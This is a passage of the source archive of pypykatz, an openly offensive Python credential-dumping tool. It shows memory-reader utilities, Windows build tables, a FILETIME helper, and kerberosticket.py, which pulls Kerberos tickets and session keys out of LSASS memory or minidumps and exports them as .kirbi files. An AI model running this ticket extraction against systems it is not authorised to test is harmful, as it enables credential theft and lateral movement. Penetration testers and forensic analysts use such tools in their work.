0 self.end_address = len(data) self.size = len(data) self.data = data self.current_position = 0 def inrange(self, ptr): return self.start_address <= ptr <= self.end_address async def seek(self, offset, whence = 0): """ Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets. 0: beginning of the current memory segment 1: from current position 2: from the end of the current memory segment If you wish to move out from the segment, use the 'move' function """ if whence == 0: t = self.start_address + offset elif whence == 1: t = self.current_position + offset elif whence == 2: t = self.end_address - offset else: raise Exception('Seek function whence value must be between 0-2') if not self.inrange(t): raise Exception('Seek would point out of buffer') self.current_position = t return async def move(self, address): """ Moves the buffer to a virtual address specified by address """ await self.seek(address) return async def align(self, alignment = None): """ Repositions the current reader to match architecture alignment """ if alignment is None: if self.processor_architecture == KatzSystemArchitecture.X64: alignment = 8 else: alignment = 4 offset = self.current_position % alignment if offset == 0: return offset_to_aligned = (alignment - offset) % alignment await self.seek(offset_to_aligned, 1) return def tell(self): """ Returns the current virtual address """ return self.current_position async def peek(self, length): """ Returns up to length bytes from the current memory segment """ t = self.current_position + length if not self.inrange(t): raise Exception('Would read out of buffer!') return self.data[self.current_position - self.start_address :t - self.start_address] async def read(self, size = -1): """ Returns data bytes of size size from the current segment. If size is -1 it returns all the remaining data bytes from memory segment """ if size < -1: raise Exception('You shouldnt be doing this') if size == -1: oldnew_pos = self.current_position self.current_position = self.end_address return self.data[oldnew_pos:] t = self.current_position + size if not self.inrange(t): raise Exception('Would read out of buffer!') old_new_pos = self.current_position self.current_position = t return self.data[old_new_pos:t] async def read_int(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian singed int on 32 bit arch Reads an 8 byte small-endian singed int on 64 bit arch """ if self.processor_architecture == KatzSystemArchitecture.X64: t = await self.read(8) return int.from_bytes(t, byteorder = 'little', signed = True) else: t = await self.read(4) return int.from_bytes(t, byteorder = 'little', signed = True) async def read_uint(self): """ Reads an integer. The size depends on the architecture. Reads a 4 byte small-endian unsinged int on 32 bit arch Reads an 8 byte small-endian unsinged int on 64 bit arch """ if self.processor_architecture == KatzSystemArchitecture.X64: t = await self.read(8) return int.from_bytes(t, byteorder = 'little', signed = False) else: t = await self.read(4) return int.from_bytes(t, byteorder = 'little', signed = False) async def find(self, pattern): """ Searches for a pattern in the current memory segment """ pos = await self.data.find(pattern) if pos == -1: return -1 return pos + self.current_position async def find_all(self, pattern): """ Searches for all occurrences of a pattern in the current memory segment, returns all occurrences as a list """ pos = [] last_found = -1 while True: last_found = await self.data.find(pattern, last_found + 1) if last_found == -1: break pos.append(last_found + self.start_address) return pos async def get_ptr(self, pos): await self.move(pos) return await self.read_uint() #raw_data = self.read(pos, self.sizeof_ptr) #return struct.unpack(self.unpack_ptr, raw_data)[0] async def get_ptr_with_offset(self, pos): if self.processor_architecture == KatzSystemArchitecture.X64: await self.move(pos) ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True) return pos + 4 + ptr #raw_data = self.read(pos, self.sizeof_long) #ptr = struct.unpack(self.unpack_long, raw_data)[0] #return pos + self.sizeof_long + ptr else: await self.move(pos) return await self.read_uint() #raw_data = self.read(pos, self.sizeof_long) #return struct.unpack(self.unpack_long, raw_data)[0] class WindowsBuild(enum.Enum): WIN_XP = 2600 WIN_2K3 = 3790 WIN_VISTA = 6000 WIN_7 = 7600 WIN_8 = 9200 WIN_BLUE = 9600 WIN_10_1507 = 10240 WIN_10_1511 = 10586 WIN_10_1607 = 14393 WIN_10_1703 = 15063 WIN_10_1709 = 16299 WIN_10_1803 = 17134 WIN_10_1809 = 17763 WIN_10_1903 = 18362 WIN_10_1909 = 18363 WIN_10_2004 = 19041 WIN_10_20H2 = 19042 WIN_11_2022 = 20348 WIN_11_2023 = 22621 class WindowsMinBuild(enum.Enum): WIN_XP = 2500 WIN_2K3 = 3000 WIN_VISTA = 5000 WIN_7 = 7000 WIN_8 = 8000 WIN_BLUE = 9400 WIN_10 = 9800 WIN_11 = 22000 def hexdump( src, length=16, sep='.', start = 0): ''' @brief Return {src} in hex dump. @param[in] length {Int} Nb Bytes by row. @param[in] sep {Char} For the text part, {sep} will be used for non ASCII char. @return {Str} The hexdump @note Full support for python2 and python3 ! ''' result = [] if src is None: return '' # Python3 support try: xrange(0,1) except NameError: xrange = range for i in xrange(0, len(src), length): subSrc = src[i:i+length] hexa = '' isMiddle = False for h in xrange(0,len(subSrc)): if h == length/2: hexa += ' ' h = subSrc[h] if not isinstance(h, int): h = ord(h) h = hex(h).replace('0x','') if len(h) == 1: h = '0'+h hexa += h+' ' hexa = hexa.strip(' ') text = '' for c in subSrc: if not isinstance(c, int): c = ord(c) if 0x20 <= c < 0x7F: text += chr(c) else: text += sep if start == 0: result.append(('%08x: %-'+str(length*(2+1)+1)+'s |%s|') % (i, hexa, text)) else: result.append(('%08x(+%04x): %-'+str(length*(2+1)+1)+'s |%s|') % (start+i, i, hexa, text)) return '\n'.join(result) class UniversalEncoder(json.JSONEncoder): """ Used to override the default json encoder to provide a direct serialization for formats that the default json encoder is incapable to serialize """ def default(self, obj): if isinstance(obj, datetime.datetime): return obj.isoformat() elif isinstance(obj, enum.Enum): return obj.value elif isinstance(obj, bytes): return obj.hex() #elif getattr(obj, "to_json", None): # to_json = getattr(obj, "to_json", None) # if callable(to_json): # return obj.to_json() elif getattr(obj, "to_dict", None): to_dict = getattr(obj, "to_dict", None) if callable(to_dict): return obj.to_dict() else: return json.JSONEncoder.default(self, obj) class KatzSystemInfo: def __init__(self): self.architecture = None self.buildnumber = None self.msv_dll_timestamp = None #this is needed :( self.operating_system = None self.major_version = 6 def __str__(self): return 'ARCH:%s BUILD:%s MSV_TS:%s OS(guess): %s' % (self.architecture.name, self.buildnumber, self.msv_dll_timestamp, self.operating_system) @staticmethod def from_live_reader(lr): sysinfo = KatzSystemInfo() if lr.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64: sysinfo.architecture = KatzSystemArchitecture.X64 elif lr.processor_architecture == PROCESSOR_ARCHITECTURE.INTEL: sysinfo.architecture = KatzSystemArchitecture.X86 sysinfo.buildnumber = lr.BuildNumber sysinfo.msv_dll_timestamp = lr.msv_dll_timestamp return sysinfo @staticmethod def from_minidump(minidump): sysinfo = KatzSystemInfo() if minidump.sysinfo.ProcessorArchitecture == PROCESSOR_ARCHITECTURE.AMD64: sysinfo.architecture = KatzSystemArchitecture.X64 elif minidump.sysinfo.ProcessorArchitecture == PROCESSOR_ARCHITECTURE.INTEL: sysinfo.architecture = KatzSystemArchitecture.X86 sysinfo.operating_system = minidump.sysinfo.OperatingSystem sysinfo.buildnumber = minidump.sysinfo.BuildNumber sysinfo.msv_dll_timestamp = 0 for module in minidump.modules.modules: if module.name.find('lsasrv.dll') != -1: sysinfo.msv_dll_timestamp = module.timestamp return sysinfo @staticmethod def from_rekallreader(rekallreader): sysinfo = KatzSystemInfo() sysinfo.architecture = rekallreader.processor_architecture sysinfo.operating_system = None sysinfo.buildnumber = rekallreader.BuildNumber sysinfo.msv_dll_timestamp = rekallreader.msv_dll_timestamp return sysinfo def base64_decode_url(value: str, bytes_expected=False) -> str: padding = 4 - (len(value) % 4) value = value + ("=" * padding) result = base64.urlsafe_b64decode(value) if bytes_expected is True: return result return result.decode()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/filetime.py0000664000175000017500000000570614543266630020604 0ustar00webdevwebdev#!/usr/bin/env python # Copyright (c) 2009, David Buxton # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED # TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A # PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED # TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Tools to convert between Python datetime instances and Microsoft times. """ from datetime import datetime, timedelta, tzinfo from calendar import timegm # http://support.microsoft.com/kb/167296 # How To Convert a UNIX time_t to a Win32 FILETIME or SYSTEMTIME EPOCH_AS_FILETIME = 116444736000000000 # January 1, 1970 as MS file time HUNDREDS_OF_NANOSECONDS = 10000000 ZERO = timedelta(0) HOUR = timedelta(hours=1) class UTC(tzinfo): """UTC""" def utcoffset(self, dt): return ZERO def tzname(self, dt): return "UTC" def dst(self, dt): return ZERO utc = UTC() def dt_to_filetime(dt): """Converts a datetime to Microsoft filetime format. If the object is time zone-naive, it is forced to UTC before conversion. >>> "%.0f" % dt_to_filetime(datetime(2009, 7, 25, 23, 0)) '128930364000000000' >>> dt_to_filetime(datetime(1970, 1, 1, 0, 0, tzinfo=utc)) 116444736000000000L >>> dt_to_filetime(datetime(1970, 1, 1, 0, 0)) 116444736000000000L """ if (dt.tzinfo is None) or (dt.tzinfo.utcoffset(dt) is None): dt = dt.replace(tzinfo=utc) return EPOCH_AS_FILETIME + (timegm(dt.timetuple()) * HUNDREDS_OF_NANOSECONDS) def filetime_to_dt(ft): """Converts a Microsoft filetime number to a Python datetime. The new datetime object is time zone-naive but is equivalent to tzinfo=utc. >>> filetime_to_dt(116444736000000000) datetime.datetime(1970, 1, 1, 0, 0) >>> filetime_to_dt(128930364000000000) datetime.datetime(2009, 7, 25, 23, 0) """ return datetime.fromtimestamp((ft - EPOCH_AS_FILETIME) / HUNDREDS_OF_NANOSECONDS, tz=utc) if __name__ == "__main__": import doctest doctest.testmod() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/kerberosticket.py0000664000175000017500000002117414543266630022023 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import datetime from asn1crypto import core from pypykatz.commons.filetime import filetime_to_dt from pypykatz.commons.common import WindowsBuild, GenericReader from pypykatz.commons.win_datatypes import LSAISO_DATA_BLOB, ENC_LSAISO_DATA_BLOB from minikerberos.protocol.asn1_structs import EncryptionKey, PrincipalName, \ TicketFlags, KrbCredInfo, krb5_pvno, EncryptedData, KRBCRED, Ticket, \ EncKrbCredPart from minikerberos.protocol.constants import NAME_TYPE, MESSAGE_TYPE, EncryptionType import enum import os import hashlib class KerberosTicketType(enum.Enum): TGT = enum.auto() TGS = enum.auto() CLIENT = enum.auto() #? class KerberosSessionKey: def __init__(self): self.keydata = None self.sessionkey = None @staticmethod def parse(key_struct, sysinfo): ksk = KerberosSessionKey() ksk.keydata = key_struct.Data if sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value or key_struct.Length < LSAISO_DATA_BLOB.size: ksk.sessionkey = ksk.keydata else: reader = GenericReader(ksk.keydata, processor_architecture = sysinfo.architecture) if key_struct.Length <= (LSAISO_DATA_BLOB.size + len("KerberosKey")-1 + 32) : blob = LSAISO_DATA_BLOB(reader) blob.Data = reader.read(-1) else: blob = ENC_LSAISO_DATA_BLOB(reader) blob.Data = reader.read(-1) ksk.sessionkey = blob.Data return ksk class KerberosTicket: def __init__(self): self.type = None self.ServiceName = None self.ServiceName_type = None self.DomainName = None self.ETargetName = None self.ETargetName_type = None self.TargetDomainName = None self.EClientName = None self.EClientName_type = None self.AltTargetDomainName = None self.Description = None self.StartTime = None self.EndTime = None self.RenewUntil = None self.KeyType = None self.Key = None self.TicketFlags = None self.TicketEncType = None self.TicketKvno = None self.Ticket = None self.kirbi_data = {} self.session_key = None #def generate_filename(self): # return '%s@%s_%s' % ('-'.join(self.EClientName) , '-'.join(self.ServiceName), hashlib.sha1(self.Ticket).hexdigest()[:8]) def to_dict(self): #not sure if anyone would need this, so only parts will be shown t = {} t['type'] = self.type t['ServiceName'] = self.ServiceName t['DomainName'] = self.DomainName t['ETargetName'] = self.ETargetName t['TargetDomainName'] = self.TargetDomainName t['EClientName'] = self.EClientName t['AltTargetDomainName'] = self.AltTargetDomainName t['StartTime'] = self.StartTime t['EndTime'] = self.EndTime t['RenewUntil'] = self.RenewUntil t['KeyType'] = self.KeyType t['Key'] = self.Key return t def to_asn1(self): krbcredinfo = {} krbcredinfo['key'] = EncryptionKey({'keytype': self.KeyType, 'keyvalue':self.Key}) krbcredinfo['prealm'] = self.AltTargetDomainName krbcredinfo['pname'] = PrincipalName({'name-type': self.EClientName_type, 'name-string':self.EClientName}) krbcredinfo['flags'] = core.IntegerBitString(self.TicketFlags).cast(TicketFlags) krbcredinfo['starttime'] = self.StartTime krbcredinfo['endtime'] = self.EndTime krbcredinfo['renew-till'] = self.RenewUntil krbcredinfo['srealm'] = self.DomainName krbcredinfo['sname'] = PrincipalName({'name-type': self.ServiceName_type, 'name-string':self.ServiceName}) enc_krbcred = {} enc_krbcred['ticket-info'] = [KrbCredInfo(krbcredinfo)] ticket = {} ticket['tkt-vno'] = krb5_pvno ticket['realm'] = self.DomainName ticket['sname'] = PrincipalName({'name-type': NAME_TYPE.SRV_INST.value, 'name-string':self.ServiceName}) ticket['enc-part'] = EncryptedData({'etype': self.TicketEncType, 'kvno': self.TicketKvno, 'cipher': self.Ticket}) krbcred = {} krbcred['pvno'] = krb5_pvno krbcred['msg-type'] = MESSAGE_TYPE.KRB_CRED.value krbcred['tickets'] = [Ticket(ticket)] krbcred['enc-part'] = EncryptedData({'etype': EncryptionType.NULL.value, 'cipher': EncKrbCredPart(enc_krbcred).dump()}) return KRBCRED(krbcred) @staticmethod def parse(kerberos_ticket, reader, sysinfo, type = None): kt = KerberosTicket() kt.type = type kt.ServiceName_type = kerberos_ticket.ServiceName.read(reader).NameType kt.ServiceName = kerberos_ticket.ServiceName.read(reader).read(reader) kt.DomainName = kerberos_ticket.DomainName.read_string(reader) if kerberos_ticket.TargetName.read(reader): kt.ETargetName = kerberos_ticket.TargetName.read(reader).read(reader) kt.ETargetName_type = kerberos_ticket.TargetName.read(reader).NameType kt.TargetDomainName = kerberos_ticket.TargetDomainName.read_string(reader) kt.EClientName = kerberos_ticket.ClientName.read(reader).read(reader) kt.EClientName_type = kerberos_ticket.ClientName.read(reader).NameType kt.AltTargetDomainName = kerberos_ticket.AltTargetDomainName.read_string(reader) kt.Description = kerberos_ticket.Description.read_string(reader) kt.StartTime = filetime_to_dt(kerberos_ticket.StartTime) kt.EndTime = filetime_to_dt(kerberos_ticket.EndTime) if kerberos_ticket.RenewUntil == 0: kt.RenewUntil = datetime.datetime(1970, 1, 1, 0, 0, tzinfo=datetime.timezone.utc) else: kt.RenewUntil = filetime_to_dt(kerberos_ticket.RenewUntil) kt.KeyType = kerberos_ticket.KeyType kt.Key = kerberos_ticket.Key.read(reader) kt.session_key = KerberosSessionKey.parse(kerberos_ticket.Key, sysinfo) kt.TicketFlags = kerberos_ticket.TicketFlags kt.TicketEncType = kerberos_ticket.TicketEncType kt.TicketKvno = kerberos_ticket.TicketKvno kt.Ticket = kerberos_ticket.Ticket.read(reader) kirbi = kt.to_asn1() kt.kirbi_data[kt.generate_filename()] = kirbi return kt @staticmethod async def aparse(kerberos_ticket, reader, sysinfo, type = None): kt = KerberosTicket() kt.type = type x = await kerberos_ticket.ServiceName.read(reader) kt.ServiceName_type = x.NameType x = await kerberos_ticket.ServiceName.read(reader) kt.ServiceName = await x.read(reader) kt.DomainName = await kerberos_ticket.DomainName.read_string(reader) x = await kerberos_ticket.TargetName.read(reader) if x: y = await kerberos_ticket.TargetName.read(reader) kt.ETargetName = await y.read(reader) y = await kerberos_ticket.TargetName.read(reader) kt.ETargetName_type = y.NameType kt.TargetDomainName = await kerberos_ticket.TargetDomainName.read_string(reader) x = await kerberos_ticket.ClientName.read(reader) kt.EClientName = await x.read(reader) x = await kerberos_ticket.ClientName.read(reader) kt.EClientName_type = x.NameType kt.AltTargetDomainName = await kerberos_ticket.AltTargetDomainName.read_string(reader) kt.Description = await kerberos_ticket.Description.read_string(reader) kt.StartTime = filetime_to_dt(kerberos_ticket.StartTime) kt.EndTime = filetime_to_dt(kerberos_ticket.EndTime) if kerberos_ticket.RenewUntil == 0: kt.RenewUntil = datetime.datetime(1970, 1, 1, 0, 0, tzinfo=datetime.timezone.utc) else: kt.RenewUntil = filetime_to_dt(kerberos_ticket.RenewUntil) kt.KeyType = kerberos_ticket.KeyType kt.Key = await kerberos_ticket.Key.read(reader) kt.session_key = KerberosSessionKey.parse(kerberos_ticket.Key, sysinfo) kt.TicketFlags = kerberos_ticket.TicketFlags kt.TicketEncType = kerberos_ticket.TicketEncType kt.TicketKvno = kerberos_ticket.TicketKvno kt.Ticket = await kerberos_ticket.Ticket.read(reader) kirbi = kt.to_asn1() kt.kirbi_data[kt.generate_filename()] = kirbi return kt def generate_filename(self): t = '%s' % ('_'.join([self.type.name, self.DomainName, '_'.join(self.EClientName), '_'.join(self.ServiceName), hashlib.sha1(self.Ticket).hexdigest()[:8]])) return '%s.kirbi' % t.replace('..','!') def to_kirbi(self, dir): for filename in self.kirbi_data: with open(os.path.join(dir, filename), 'wb') as f: f.write(self.kirbi_data[filename].dump()) def __str__(self): t = '== Kerberos Ticket ==\n' t += 'Type: %s\n'% self.type t += 'ServiceName: %s\n'% self.ServiceName t += 'DomainName: %s\n'% self.DomainName t += 'ETargetName: %s\n'% self.ETargetName t += 'TargetDomainName: %s\n'% self.TargetDomainName t += 'EClientName: %s\n'% self.EClientName t += 'AltTargetDomainName: %s\n'% self.AltTargetDomainName t += 'Description: %s\n'% self.Description t += 'StartTime: %s\n'% self.StartTime.isoformat() t += 'EndTime: %s\n'% self.EndTime.isoformat() t += 'RenewUntil: %s\n'% self.RenewUntil.isoformat() t += 'KeyType: %s\n'% self.KeyType t += 'Key: %s\n'% self.Key.hex() t += 'TicketFlags: %s\n'% self.TicketFlags t += 'TicketEncType: %s\n'% self.TicketEncType t += 'TicketKvno: %s\n'% self.TicketKvno t += 'Ticket: %s\n'% self.Ticket.hex() t += 'SessionKey: %s\n'% self.session_key.sessionkey.hex() return t ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.291364 pypykatz-0.6.10/pypykatz/commons/readers/0000775000175000017500000000000014647211624020047 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/__init__.py0000664000175000017500000000000014543266630022150 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.291364 pypykatz-0.6.10/pypykatz/commons/readers/local/0000775000175000017500000000000014647211624021141 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/__init__.py0000664000175000017500000000000014543266630023242 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.2953641 pypykatz-0.6.10/pypykatz/commons/readers/local/common/0000775000175000017500000000000014647211624022431 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/__init__.py0000664000175000017500000000000014543266630024532 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/advapi32.py0000664000175000017500000033502514543266630024426 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2018, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Wrapper for advapi32.dll in ctypes. """ from .defines import * # NOQA from .kernel32 import * # NOQA # XXX TODO # + add transacted registry operations #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== #--- Constants ---------------------------------------------------------------- # Privilege constants SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" SE_AUDIT_NAME = "SeAuditPrivilege" SE_BACKUP_NAME = "SeBackupPrivilege" SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" SE_DEBUG_NAME = "SeDebugPrivilege" SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" SE_RELABEL_NAME = "SeRelabelPrivilege" SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege" SE_RESTORE_NAME = "SeRestorePrivilege" SE_SECURITY_NAME = "SeSecurityPrivilege" SE_SHUTDOWN_NAME = "SeShutdownPrivilege" SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" SE_TCB_NAME = "SeTcbPrivilege" SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege" SE_UNDOCK_NAME = "SeUndockPrivilege" SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege" SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001 SE_PRIVILEGE_ENABLED = 0x00000002 SE_PRIVILEGE_REMOVED = 0x00000004 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000 TOKEN_ADJUST_PRIVILEGES = 0x00000020 LOGON_WITH_PROFILE = 0x00000001 LOGON_NETCREDENTIALS_ONLY = 0x00000002 # Token access rights TOKEN_ASSIGN_PRIMARY = 0x0001 TOKEN_DUPLICATE = 0x0002 TOKEN_IMPERSONATE = 0x0004 TOKEN_QUERY = 0x0008 TOKEN_QUERY_SOURCE = 0x0010 TOKEN_ADJUST_PRIVILEGES = 0x0020 TOKEN_ADJUST_GROUPS = 0x0040 TOKEN_ADJUST_DEFAULT = 0x0080 TOKEN_ADJUST_SESSIONID = 0x0100 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID) # Predefined HKEY values HKEY_CLASSES_ROOT = 0x80000000 HKEY_CURRENT_USER = 0x80000001 HKEY_LOCAL_MACHINE = 0x80000002 HKEY_USERS = 0x80000003 HKEY_PERFORMANCE_DATA = 0x80000004 HKEY_CURRENT_CONFIG = 0x80000005 # Registry access rights KEY_ALL_ACCESS = 0xF003F KEY_CREATE_LINK = 0x0020 KEY_CREATE_SUB_KEY = 0x0004 KEY_ENUMERATE_SUB_KEYS = 0x0008 KEY_EXECUTE = 0x20019 KEY_NOTIFY = 0x0010 KEY_QUERY_VALUE = 0x0001 KEY_READ = 0x20019 KEY_SET_VALUE = 0x0002 KEY_WOW64_32KEY = 0x0200 KEY_WOW64_64KEY = 0x0100 KEY_WRITE = 0x20006 # Registry value types REG_NONE = 0 REG_SZ = 1 REG_EXPAND_SZ = 2 REG_BINARY = 3 REG_DWORD = 4 REG_DWORD_LITTLE_ENDIAN = REG_DWORD REG_DWORD_BIG_ENDIAN = 5 REG_LINK = 6 REG_MULTI_SZ = 7 REG_RESOURCE_LIST = 8 REG_FULL_RESOURCE_DESCRIPTOR = 9 REG_RESOURCE_REQUIREMENTS_LIST = 10 REG_QWORD = 11 REG_QWORD_LITTLE_ENDIAN = REG_QWORD #--- TOKEN_PRIVILEGE structure ------------------------------------------------ # typedef struct _LUID { # DWORD LowPart; # LONG HighPart; # } LUID, # *PLUID; class LUID(Structure): _fields_ = [ ("LowPart", DWORD), ("HighPart", LONG), ] PLUID = POINTER(LUID) # typedef struct _LUID_AND_ATTRIBUTES { # LUID Luid; # DWORD Attributes; # } LUID_AND_ATTRIBUTES, # *PLUID_AND_ATTRIBUTES; class LUID_AND_ATTRIBUTES(Structure): _fields_ = [ ("Luid", LUID), ("Attributes", DWORD), ] # typedef struct _TOKEN_PRIVILEGES { # DWORD PrivilegeCount; # LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]; # } TOKEN_PRIVILEGES, # *PTOKEN_PRIVILEGES; class TOKEN_PRIVILEGES(Structure): _fields_ = [ ("PrivilegeCount", DWORD), ## ("Privileges", LUID_AND_ATTRIBUTES * ANYSIZE_ARRAY), ("Privileges", LUID_AND_ATTRIBUTES), ] # See comments on AdjustTokenPrivileges about this structure PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES) #--- GetTokenInformation enums and structures --------------------------------- # typedef enum _TOKEN_INFORMATION_CLASS { # TokenUser = 1, # TokenGroups, # TokenPrivileges, # TokenOwner, # TokenPrimaryGroup, # TokenDefaultDacl, # TokenSource, # TokenType, # TokenImpersonationLevel, # TokenStatistics, # TokenRestrictedSids, # TokenSessionId, # TokenGroupsAndPrivileges, # TokenSessionReference, # TokenSandBoxInert, # TokenAuditPolicy, # TokenOrigin, # TokenElevationType, # TokenLinkedToken, # TokenElevation, # TokenHasRestrictions, # TokenAccessInformation, # TokenVirtualizationAllowed, # TokenVirtualizationEnabled, # TokenIntegrityLevel, # TokenUIAccess, # TokenMandatoryPolicy, # TokenLogonSid, # TokenIsAppContainer, # TokenCapabilities, # TokenAppContainerSid, # TokenAppContainerNumber, # TokenUserClaimAttributes, # TokenDeviceClaimAttributes, # TokenRestrictedUserClaimAttributes, # TokenRestrictedDeviceClaimAttributes, # TokenDeviceGroups, # TokenRestrictedDeviceGroups, # TokenSecurityAttributes, # TokenIsRestricted, # MaxTokenInfoClass # } TOKEN_INFORMATION_CLASS, *PTOKEN_INFORMATION_CLASS; TOKEN_INFORMATION_CLASS = ctypes.c_int TokenUser = 1 TokenGroups = 2 TokenPrivileges = 3 TokenOwner = 4 TokenPrimaryGroup = 5 TokenDefaultDacl = 6 TokenSource = 7 TokenType = 8 TokenImpersonationLevel = 9 TokenStatistics = 10 TokenRestrictedSids = 11 TokenSessionId = 12 TokenGroupsAndPrivileges = 13 TokenSessionReference = 14 TokenSandBoxInert = 15 TokenAuditPolicy = 16 TokenOrigin = 17 TokenElevationType = 18 TokenLinkedToken = 19 TokenElevation = 20 TokenHasRestrictions = 21 TokenAccessInformation = 22 TokenVirtualizationAllowed = 23 TokenVirtualizationEnabled = 24 TokenIntegrityLevel = 25 